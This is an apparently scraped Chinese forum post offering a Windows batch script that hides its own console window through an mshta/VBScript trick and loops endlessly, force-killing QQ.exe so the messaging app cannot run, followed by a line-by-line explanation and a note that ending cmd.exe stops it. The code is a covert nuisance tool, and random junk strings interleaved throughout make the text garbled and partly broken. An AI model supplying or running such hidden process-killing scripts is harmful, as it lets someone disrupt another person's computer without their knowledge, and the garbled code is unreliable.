|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 & a8 H) l: G6 m0 Z- T4 ~- j0 K
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
) ^4 C' J: m1 g! r$ {. \- @# z/ ?$ I% c [
@echo off
& S' F# j! a5 J$ F! Xif "%1" == "h" goto begin
* V; \2 F% U1 u) { S5 Kmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit $ x) C; \2 {8 Q! M: n, e
:begin # o j; w1 ^" B! s
tasklist |find /i "QQ.exe" & O9 y+ D1 J; {; J7 `- F
if %errorlevel%==0 (goto killit) else (goto next) 3 K% O7 h( \1 X- d
:killit ! z% s" G; l% L: C
taskkill /f /im QQ.exe
- Q9 A# N$ h7 L4 ]5 P) C:next
4 X+ E- E8 \. Kping -n 3 127.t >nul 2>nul
5 k& G3 M$ b) t: ]. i" @* Z1 U3 ygoto begin - P5 k+ N) ?7 f! B) g- c% |, X
2 |/ ?- V9 r+ W+ m' D/ A& |4 I& n
代码到此为止
: J6 n/ t# p; M0 X) R讲解如下: 8 F& Q8 l( @0 A! {1 p }
@echo off ------关闭回显 & D: Z8 z( _; y( o
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 7 V5 y" R: t' x+ H( E+ `
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
0 R/ f2 u8 X) f6 i& R* G) V6 H:begin ------------定一段名begin
2 H, w/ }( X0 [" f u E: [8 ntasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe * c- z2 U* z. a8 L5 K
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
; {( I' w. r4 i" S: m5 _" r:killit
% b4 b; C, [ A, qtaskkill /f /im QQ.exe----终结进程QQ.exe * Q/ x+ S; _; U
:next
7 i- R# r# @: n2 m" n5 xping -n 3 127.t >nul 2>nul -----延迟一段时间 ' v3 m6 n2 Z5 ]6 f, N: P7 S
goto begin--------------返回执行begin0 m, T. T. |* ? L$ e
|
|